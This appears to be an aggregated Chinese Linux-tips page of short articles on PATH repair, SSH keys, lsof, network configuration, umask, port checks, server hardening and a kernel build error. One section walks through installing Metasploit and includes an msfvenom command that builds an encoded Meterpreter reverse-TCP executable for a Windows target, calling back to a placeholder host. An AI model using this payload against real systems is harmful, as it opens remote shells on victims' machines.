inux不支持所有命令怎么办?解决Linux所有命令不能使用的问题 出现这个问题说明你的 /etc/profile 配置出现了问题,一般是因为path配置出现了问题。排除添加内容中的错误,然后重启一个新窗口执行执行 source /etc/profile即可解决。 当所有的命令都不能使用的时候vi也是失去作用的。 这时候需要使用shell命令的绝对路径调用命令。 # 编辑profile文件 /usr/bin/vim /etc/profile 然后在新的窗口执行 source /etc/profile linux 所有命令无法使用 配置nginx时,错误export之后linux 所有命令无法使用 出现这个问题是因为系统的环境变量没有正确配置造成的,造成这个原因有很多,比如系统升级,比如不正当操作等导致环境变量被覆盖修改,解决的方式有两种。 其一:直接在linux命令行界面输入如下,然后回车(导入环境变量,以及shell常见的命令的存放地址): export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin 其二:如果系统所有命令都不能使用时,还可以使用绝对命令vi打开profile /bin/vi /etc/profile 在系统的配置文件里添加环境变量地址 export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin 本篇文章到此结束,如果您有相关技术方面疑问可以联系我们技术人员远程解决,感谢大家支持本站!
1.ssh命令 在linux中,可以通过ssh命令来登录另一台服务器。打开两台linux虚拟机,一台Linux01的ip为192.168.226.128,另一台linux02为192.168.226.129, 开机后在linux01终端输入: ssh 192.168.226.129 ,然后会提示输入linux02的登录密码,输入后就可以在linux01上登录linux02了,可以进行命令操作,ssh命令的两种方式 ssh ip地址(默认是root用户) 以root用户的身份登录 ssh 用户名@ip地址 以指定用户身份登录 2.免密钥登录解决的问题 现在要想在linux01上登录linux02系统,需要在ssh ip地址后再手动输入密码后才能进入linux02服务器,但是配置免密钥登录后,直接输入ssh命令就可以登录,不在需要手动输入密码。免密钥登录解决了集群之间相互访问受密码的限制。什么是集群? 集群就是很多的服务器干一件事(服务器与服务器之间处于联通状态并且可以传递数据) 3.配置免密钥登录: 只要是在集群中的服务器,都需要配置免密钥,并不是只配置一台,其他机器就可以使用了 3.1在服务器linux01上生成私钥和公钥 ssh-keygen -t rsa ,然后点击四次回车,不要输入任何密码,否则免密钥失败,看到如下信息配置成功 +--[ RSA 2048]----+ | .o. | | .E. | | .. . | | o . | | S o .. | | o oooo | | . o.+=. | | .B... | | .+.=+. | +-----------------+ 3.2在自己的电脑上复制一份公钥同时在其他的服务器上也生成一份, ssh-copy-id 192.168.226.128 , ssh-copy-id 192.168.226.129 此过程需要手动输入一次密码,这样就在linux01服务器上和linux02服务器上都放置了一份公钥,通过公钥来实现免密钥登录,看到如下信息配置成功: Now try logging into the machine, with “ssh ‘192.168.23.144’”, and check in: .ssh/authorized_keys to make sure we haven’t added extra keys that you weren’t 3.3在linux01的hosts中配置hostname映射: vim /etc/hosts , 3.4,重复上面的步骤配置linux02,如果有多台服务器,就在复制公钥时在每一台服务器上都复制一份,ip映射也要配置每一台主机的映射,最后测试输入ssh ip地址可以直接登录不需要输密码 文件传输: scp -r 要复制的文件/文件夹 目标ip地址或hostname:目标文件夹路径 如要将linux01上的apps文件夹发送到linux02的home中: scp -r /home/apps 192.168.226.129:/home/ 或 scp -r /home/apps linux02:/home/ 就可以传输文件了 本篇文章到此结束,如果您有相关技术方面疑问可以联系我们技术人员远程解决,感谢大家支持本站!
lsof(list open files)是一个查看进程打开的文件的工具。 在 linux 系统中,一切皆文件。通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。所以 lsof 命令不仅可以查看进程打开的文件、目录,还可以查看进程监听的端口等 socket 相关的信息。本文将介绍 lsof 命令的基本用法,本文中 demo 的演示环境为 ubuntu 18.04。 常用选项 -a 指示其它选项之间为与的关系 -c <进程名> 输出指定进程所打开的文件 -d <文件描述符> 列出占用该文件号的进程 +d <目录> 输出目录及目录下被打开的文件和目录(不递归) +D <目录> 递归输出及目录下被打开的文件和目录 -i <条件> 输出符合条件与网络相关的文件 -n 不解析主机名 -p <进程号> 输出指定 PID 的进程所打开的文件 -P 不解析端口号 -t 只输出 PID -u 输出指定用户打开的文件 -U 输出打开的 UNIX domain socket 文件 -h 显示帮助信息 -v 显示版本信息 基本输出 如果不带任何选项执行 lsof 命令,会输出系统中所有 active 进程打开的所有文件,结果就是我们被输出的信息所淹没,这没有任何的意义。我们先让 lsof 命令输出当前 Bash 进程打开的文件,并截取其中的一部分结果来介绍输出内容中都包含哪些信息: COMMAND:程序的名称 PID:进程标识符 USER:进程所有者 FD:文件描述符,应用程序通过文件描述符识别该文件 TYPE:文件类型,如 DIR、REG 等 DEVICE:以逗号分隔设备编号 SIZE:文件的大小(bytes) NODE:索引节点(文件在磁盘上的标识) NAME:打开文件的确切名称 下面简单介绍一下 FD 列和 TYPE 列中的常见内容。 FD 列中的常见内容有 cwd、rtd、txt、mem 和一些数字等等。其中 cwd 表示当前的工作目录;rtd 表示根目录;txt 表示程序的可执行文件;mem 表示内存映射文件: 还有一部分 FD 是以数字表示的,比如标准输入输出文件: 数字后面的字母表示进程对该文件的读写模式,比如上图中的 u 表示该文件被打开并处于读取/写入模式。除了 u,还有 r 表示只读模式,w 表示只写模式,还可以同时应用 W 表示该进程拥有对文件写操作的锁。下图是截取的 docker daemon 进程打开的文件列表,其中显示了 FD 的不同模式: TYPE 列中常见的 REG 和 DIR 分别表示普通文件和目录。而 CHR 和 BLK 则分别表示字符和块设备,unix、fifo...
1.配置ip地址前首先ifconfig查看网卡信息并获取到网卡的名称 2.进入到网卡配置目录 cd /etc/sysconfig/network-scripts/,找到配置文件为ifcfg-em2 3.修改ifcfg-em2,为如下: TYPE=”Ethernet” # 网络类型,不用改的,默认就是Ethernet,以太网的意思 PROXY_METHOD=”none” # 代理方式:关闭状态 BROWSER_ONLY=”no” # 只是浏览器:否 BOOTPROTO=”none” # 网卡的引导协议:DHCP[中文名称: 动态主机配置协议] DEFROUTE=”yes” # 默认路由:是 IPV4_FAILURE_FATAL=”yes” # 是不开启IPV4致命错误检测:否 IPV6INIT=”yes” # IPV6是否自动初始化: 是 IPV6_AUTOCONF=”yes” # IPV6是否自动配置:是 IPV6_DEFROUTE=”yes” # IPV6是否可以为默认路由:是 IPV6_FAILURE_FATAL=”no” # 是不开启IPV6致命错误检测:否 IPV6_ADDR_GEN_MODE=”stable-privacy” # IPV6地址生成模型:stable-privacy NAME=”em2″ # 网卡物理设备名称 UUID=”b9cf0ca7-ddc9-4c55-9cea-ce04919f6514″ # 通用唯一识别码, 每一个网卡都会有, 不能重复, 否两台linux只有一台网卡可用 DEVICE=”em2″ # 网卡设备名称, 必须和 `NAME` 值一样 ONBOOT=”yes” # 是否开机启动, 要想网卡开机就启动或通过 `systemctl restart network`控制网卡 IPADDR=”172.20.41.96″ # IP地址 PREFIX=”24″ #配置子网掩码 GATEWAY=”172.20.41.65″ #网关 DNS1=”202.96.209.133″ #DNS IPV6_PRIVACY=”no” 4.修改完成后重启网卡 systemctl restart network 本篇文章到此结束,如果您有相关技术方面疑问可以联系我们技术人员远程解决,感谢大家支持本站!
今天给客户发了一个ubuntu下的小工具,用户到手后运行不了, 报错: 一开始以为是全权限的问题,所以让她“ls -la”一下,看看权限,但是结果是ok的,权限没问题 后来发现他是用的是32bit的ubuntu系统,而我们使用的是ubuntu64bit编译出来的程序,所以叫她换成64bit的ubuntu,就ok了。 到此这篇关于Linux bash:./xxx:无法执行二进制文件报错的文章就介绍到这了,更多相关Linux 无法执行二进制文件 内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持!
默认权限 umask [root@CentOS7 data]# touch file1 ; ll file1 -rw-r–r–. 1 root root 0 Oct 9 13:55 file1 [root@CentOS7 data]# mkdir dir1 ; ll dir1 -d drwxr-xr-x. 2 root root 6 Oct 9 13:55 dir1 umask是什么 从上面的例子中可以发现,新建文件和目录的默认权限分别是644、755,为啥会这样?这就要聊聊umask了,Linux系统中默认的umask值是022,它直接影响了用户创建的文件或目录的默认权限,它与chmod的效果刚好相反,umask是将文件的对应权限位遮掩住,或者说是从文件的对应权限位“拿走”相关权限,而chmod是给文件赋予相关权限。 如何计算umask值 在Linux系统中,目录最大的权限是777,文件最大的权限是666,因为基于安全原因,新建的文件不允许有执行权限,所以从文件的权限位来看,文件比目录少了执行(x)权限。 下面来设置不同的umask值并创建文件: [root@CentOS7 data]# umask 222 [root@CentOS7 data]# touch file1 ; ll file1 -r–r–r– 1 root root 0 Sep 30 16:41 file1 可以发现用666减去222就得到了444,但真的是这样计算吗?来看看下面的这个例子: [root@CentOS7 data]# umask 123 [root@CentOS7 data]# touch file2 ; ll file2 -rw-r–r– 1 root root 0 Sep 30 16:48 file2 [root@CentOS7 data]# mkdir dir1 ; ll dir1 -d drw-r-xr– 2 root root 6 Sep 30 16:49 dir1 从结果中可以发现新建的文件权限并不是666-123=543,而是644,而目录的权限却是正常减出来的值777-123=654,这是为啥呢?我们把文件的最大值666和umask值123转换成二进制对位展开来看下: 110 110 110–>666(文件最大权限值) 001 010 011–>123(umask值) 110 100 100–>644(新建文件的权限) 从结果来看就验证了前面说的“umask是将文件的对应权限位遮掩住”,1表示遮掩,0则反之。 为了方便记忆可以用下面的这种计算方法: 目录:默认权限是777减去umask值的结果 文件:默认权限是666减去umask值,权限位对应的值如果为奇数则加1,例如:666-123=543,其结果是644。 umask的使用方法 临时生效:umask 022 永久生效:~/.bashrc(用户设置,推荐),/etc/bashrc(全局设置) 有时候需要给新建的文件一个非常严格的权限,比如000,可以使用以下方法: [root@CentOS7 data]# umask...
还是自己写下安装过程吧! 我的服务器系统是 Aliyun linux 1、下载安装 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 可能报错:Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit 是因为安装库的问题! 解决方法: yum install -y epel-release 然后再重复上面那条命令! 2、添加新用户运行msf adduser msf #添加msf用户 su msf #切换到msf用户 cd /opt/metasploit-framework/bin #切换到msf所在的目录 ./msfconsole #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。 如果使用root用户启动的话,不会同步数据库! (启动索引已经默认配好了!) 直接 msfconsole 就可以启动了! #相关命令 [msf@xxxx root]$ msf msfbinscan msfconsole msfd msfdb msfelfscan msfmachscan msfpescan msfrop msfrpc msfrpcd msfupdate msfvenom #数据库初始化 [msf@xxxx root]$ msfdb Commands: init initialize the component reinit delete and reinitialize the component delete delete and stop the component status check component status start start the component stop stop the component restart restart the component #测试: e.g.我的虚拟主机是 Win2003(目标机) msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=msf_ip LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe 注:如果是弹性云服务器IP,LHOST 要设置为内网分配IP,不能设公网IP [被这个坑折腾好久!!!吐血!!!] ps:linux系统下安装msf框架 命令: wget...
之前查询端口是否被占用一直搞不明白,问了好多人,终于搞懂了,现在总结下: 1.netstat -anp |grep 端口号 如下,我以3306为例,netstat -anp |grep 3306(此处备注下,我是以普通用户操作,故加上了sudo,如果是以root用户操作,不用加sudo即可查看),如下图1: 图1 图1中主要看监控状态为LISTEN表示已经被占用,最后一列显示被服务mysqld占用,查看具体端口号,只要有如图这一行就表示被占用了。 2.netstat -nultp(此处不用加端口号) 该命令是查看当前所有已经使用的端口情况,如图2: 图2 图中可以看出我的82端口没有被占用 3.netstat -anp |grep 82查看82端口的使用情况,如图3: 图3 可以看出并没有LISTEN那一行,所以就表示没有被占用。此处注意,图中显示的LISTENING并不表示端口被占用,不要和LISTEN混淆哦,查看具体端口时候,必须要看到tcp,端口号,LISTEN那一行,才表示端口被占用了 本篇文章到此结束,如果您有相关技术方面疑问可以联系我们技术人员远程解决,感谢大家支持本站!
关闭ping扫描,虽然没什么卵用 先切换到root echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all 1代表关闭 0代表开启 用iptables iptables -I INPUT -p icmp -j DROP 简单介绍下基本的安全设置 一、创建普通用户,禁止root登录,只允许普通用户使用su命令切换到root 这样做的好处是双重密码保护,黑客就算知道了普通用户的密码,如果没有root密码,对服务器上攻击也比较有限 以下是具体做法(需要在root下) 添加普通用户 useradd xxx 设置密码 passwd xxx 这样就创建好了一个普通用户 禁止root登录 vi /etc/ssh/sshd_config PermitRootLogin no Systemctl restart sshd 这样就完成了第一步,之后root就无法登录服务器只能通过普通用户su切换 二、修改ssh的默认端口22,因为ssh的端口是22,我们如果修改了该端口,他们就需要花费一点时间来扫描,稍微增加了点难度 以下将端口改为51866可以根据需要自己更改,最好选择10000-65535内的端口 step1 修改/etc/ssh/sshd_config vi /etc/ssh/sshd_config #Port 22 //这行去掉#号 Port 51866 //下面添加这一行 为什么不先删除22,以防其他端口没配置成功,而又把22的删除了,无法再次进入服务器 step2 修改SELinux 安装semanage $ yum provides semanage $ yum -y install policycoreutils-python 使用以下命令查看当前SElinux 允许的ssh端口: semanage port -l | grep ssh 添加51866端口到 SELinux semanage port -a -t ssh_port_t -p tcp 51866 注:操作不成功,可以参考:https://sebastianblade.com/how-to-modify-ssh-port-in-centos7/ 失败了话应该是selinux没有打开 然后确认一下是否添加进去 semanage port -l | grep ssh 如果成功会输出 ssh_port_t tcp 51866, 22 step3 重启ssh systemctl restart sshd.service 查看下ssh是否监听51866端口 netstat -tuln Step4 防火墙开放51866端口 firewall-cmd –permanent –zone=public –add-port=51866/tcp firewall-cmd –reload 然后测试试试,能不能通过51866登录,若能登录进来,说明成功,接着删除22端口 vi /etc/ssh/sshd_config 删除22端口 wq systemctl restart sshd.service 同时防火墙也关闭22端口 firewall-cmd –permanent...
现象 系统本来可以正常编译linux系统kernel,但在安装svn后,kernel编译出错。 CHK include/linux/version.h CHK include/generated/utsrelease.h make[1]: `include/generated/mach-types.h' is up to date. CALL scripts/checksyscalls.sh CHK include/generated/compile.h gcc: directory: No such file or directory gcc: directory": No such file or directory <command-line>:0: warning: missing terminating " character gcc: directory: No such file or directory gcc: directory": No such file or directory <command-line>:0: warning: missing terminating " character gcc: directory: No such file or directory gcc: directory": No such file or directory <command-line>:0: warning: missing terminating " character CC drivers/gpu/mali/mali/common/mali_kernel_core.o arm-eabi-gcc: error: ": No such file or directory make[4]: *** [drivers/gpu/mali/mali/common/mali_kernel_core.o] 错误 1 make[3]: *** [drivers/gpu/mali/mali] 错误 2 make[2]: *** [drivers/gpu/mali] 错误 2 make[1]: *** [drivers/gpu] 错误 2 make: *** [drivers] 错误 2 make: *** 正在等待未完成的任务.... 原因分析 定位到 drivers/gpu/mali/ump/Makefile.common 和 drivers/gpu/mali/mali/Makefile 两个文件中都有关于 SVN_REV:=xxxx 的语句,正常情况下 SVN_REV:= 为空,当检查到svn版本后, SVN_REV:=...